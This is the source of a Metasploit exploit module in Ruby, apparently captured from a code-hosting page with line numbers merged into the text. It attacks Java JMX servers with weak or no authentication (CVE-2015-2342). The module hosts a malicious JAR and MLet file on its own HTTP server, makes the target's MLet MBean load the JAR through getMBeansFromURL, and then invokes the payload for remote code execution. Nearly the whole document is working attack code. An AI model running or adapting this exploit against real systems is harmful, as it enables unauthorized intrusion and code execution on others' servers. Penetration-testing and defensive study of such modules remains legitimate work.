Path: blob/master/modules/exploits/multi/misc/java_jmx_server.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer9include Msf::Exploit::Remote::Java::Rmi::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',16'Description' => %q{17This module takes advantage a Java JMX interface insecure configuration, which would18allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication19disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while20interfaces with authentication enabled will be vulnerable only if a weak configuration21is deployed (allowing to use javax.management.loading.MLet, having a security manager22allowing to load a ClassLoader MBean, etc.).23},24'Author' => [25'Braden Thomas', # Attack vector discovery26'juan vazquez' # Metasploit module27],28'License' => MSF_LICENSE,29'References' => [30['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],31['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],32['CVE', '2015-2342']33],34'Platform' => 'java',35'Arch' => ARCH_JAVA,36'Privileged' => false,37'Payload' => { 'BadChars' => '', 'DisableNops' => true },38'Stance' => Msf::Exploit::Stance::Aggressive,39'DefaultOptions' => {40'WfsDelay' => 1041},42'Targets' => [43[ 'Generic (Java Payload)', {} ]44],45'DefaultTarget' => 0,46'DisclosureDate' => '2013-05-22',47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options([56Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),57Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),58Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])59])60register_common_rmi_ports_and_services61end6263def post_auth?64true65end6667def on_request_uri(cli, request)68if @jar.nil?69p = regenerate_payload(cli)70@jar = p.encoded_jar({ random: true })71paths = [72["metasploit", "JMXPayloadMBean.class"],73["metasploit", "JMXPayload.class"],74]7576@jar.add_file('metasploit/', '')77paths.each do |path_parts|78path = ['java', path_parts].flatten.join('/')79contents = ::MetasploitPayloads.read(path)80@jar.add_file(path_parts.join('/'), contents)81end82end8384if request.uri =~ /mlet$/85jar = "#{rand_text_alpha(8 + rand(8))}.jar"8687mlet = "<HTML><mlet code=\"#{@jar.substitutions["metasploit"]}.JMXPayload\" "88mlet << "archive=\"#{jar}\" "89mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "90mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"91send_response(cli, mlet,92{93'Content-Type' => 'application/octet-stream',94'Pragma' => 'no-cache'95})9697print_status("Replied to request for mlet")98elsif request.uri =~ /\.jar$/i99send_response(cli, @jar.pack,100{101'Content-Type' => 'application/java-archive',102'Pragma' => 'no-cache'103})104print_status("Replied to request for payload JAR")105end106end107108def autofilter109return true110end111112def check113connect114115unless is_rmi?116return Exploit::CheckCode::Safe117end118119mbean_server = discover_endpoint120disconnect121if mbean_server.nil?122return Exploit::CheckCode::Safe123end124125connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })126unless is_rmi?127return Exploit::CheckCode::Unknown128end129130jmx_endpoint = handshake(mbean_server)131disconnect132if jmx_endpoint.nil?133return Exploit::CheckCode::Detected134end135136Exploit::CheckCode::Appears137end138139def exploit140vprint_status("Starting service...")141start_service142143@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"144connect145146print_status("Sending RMI Header...")147unless is_rmi?148fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")149end150151print_status("Discovering the JMXRMI endpoint...")152mbean_server = discover_endpoint153disconnect154if mbean_server.nil?155fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")156else157print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")158end159160# First try to connect to the original RHOST, since the mbean address may be inaccessible161begin162connect(true, { 'RPORT' => mbean_server[:port] })163rescue Rex::ConnectionError164# If that fails, try connecting to the listed address instead165connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })166end167168unless is_rmi?169fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")170end171172print_status("Proceeding with handshake...")173jmx_endpoint = handshake(mbean_server)174if jmx_endpoint.nil?175fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")176else177print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")178end179180print_status("Loading payload...")181unless load_payload(jmx_endpoint)182fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")183end184185print_status("Executing payload...")186send_jmx_invoke(187object_number: jmx_endpoint[:object_number],188uid_number: jmx_endpoint[:uid].number,189uid_time: jmx_endpoint[:uid].time,190uid_count: jmx_endpoint[:uid].count,191object: "#{@mlet}:name=jmxpayload,id=1",192method: 'run'193)194disconnect195end196197def is_rmi?198send_header199ack = recv_protocol_ack200if ack.nil?201return false202end203204true205end206207def discover_endpoint208rmi_classes_and_interfaces = [209'javax.management.remote.rmi.RMIConnectionImpl',210'javax.management.remote.rmi.RMIConnectionImpl_Stub',211'javax.management.remote.rmi.RMIConnector',212'javax.management.remote.rmi.RMIConnectorServer',213'javax.management.remote.rmi.RMIIIOPServerImpl',214'javax.management.remote.rmi.RMIJRMPServerImpl',215'javax.management.remote.rmi.RMIServerImpl',216'javax.management.remote.rmi.RMIServerImpl_Stub',217'javax.management.remote.rmi.RMIConnection',218'javax.management.remote.rmi.RMIServer'219]220ref = send_registry_lookup(name: datastore['JMXRMI'])221return nil if ref.nil?222223unless rmi_classes_and_interfaces.include? ref[:object]224vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")225return nil226end227228ref229end230231def handshake(mbean)232begin233opts = {234object_number: mbean[:object_number],235uid_number: mbean[:uid].number,236uid_time: mbean[:uid].time,237uid_count: mbean[:uid].count238}239240if datastore['JMX_ROLE']241username = datastore['JMX_ROLE']242password = datastore['JMX_PASSWORD']243opts.merge!(username: username, password: password)244end245246ref = send_new_client(opts)247rescue ::Rex::Proto::Rmi::Exception => e248vprint_error("JMXRMI discovery raised an exception of type #{e.message}")249return nil250end251252ref253end254255def load_payload(conn_stub)256vprint_status("Getting JMXPayload instance...")257258begin259res = send_jmx_get_object_instance(260object_number: conn_stub[:object_number],261uid_number: conn_stub[:uid].number,262uid_time: conn_stub[:uid].time,263uid_count: conn_stub[:uid].count,264name: "#{@mlet}:name=jmxpayload,id=1"265)266rescue ::Rex::Proto::Rmi::Exception => e267case e.message268when 'javax.management.InstanceNotFoundException'269vprint_warning("JMXPayload instance not found, trying to load")270return load_payload_from_url(conn_stub)271else272vprint_error("getObjectInstance returned unexpected exception #{e.message}")273return false274end275end276277return false if res.nil?278279true280end281282def load_payload_from_url(conn_stub)283vprint_status("Creating javax.management.loading.MLet MBean...")284285begin286res = send_jmx_create_mbean(287object_number: conn_stub[:object_number],288uid_number: conn_stub[:uid].number,289uid_time: conn_stub[:uid].time,290uid_count: conn_stub[:uid].count,291name: 'javax.management.loading.MLet'292)293rescue ::Rex::Proto::Rmi::Exception => e294case e.message295when 'javax.management.InstanceAlreadyExistsException'296vprint_good("javax.management.loading.MLet already exists")297res = true298when 'java.lang.SecurityException'299vprint_error(" The provided user hasn't enough privileges")300res = nil301else302vprint_error("createMBean raised unexpected exception #{e.message}")303res = nil304end305end306307if res.nil?308vprint_error("The request to createMBean failed")309return false310end311312vprint_status("Getting javax.management.loading.MLet instance...")313begin314res = send_jmx_get_object_instance(315object_number: conn_stub[:object_number],316uid_number: conn_stub[:uid].number,317uid_time: conn_stub[:uid].time,318uid_count: conn_stub[:uid].count,319name: 'DefaultDomain:type=MLet'320)321rescue ::Rex::Proto::Rmi::Exception => e322vprint_error("getObjectInstance returned unexpected exception: #{e.message}")323return false324end325326if res.nil?327vprint_error("The request to GetObjectInstance failed")328return false329end330331vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")332333begin334res = send_jmx_invoke(335object_number: conn_stub[:object_number],336uid_number: conn_stub[:uid].number,337uid_time: conn_stub[:uid].time,338uid_count: conn_stub[:uid].count,339object: 'DefaultDomain:type=MLet',340method: 'getMBeansFromURL',341args: { 'java.lang.String' => "#{get_uri}/mlet" }342)343rescue ::Rex::Proto::Rmi::Exception => e344vprint_error("invoke() returned unexpected exception: #{e.message}")345return false346end347348if res.nil?349vprint_error("The call to getMBeansFromURL failed")350return false351end352353true354end355end356357358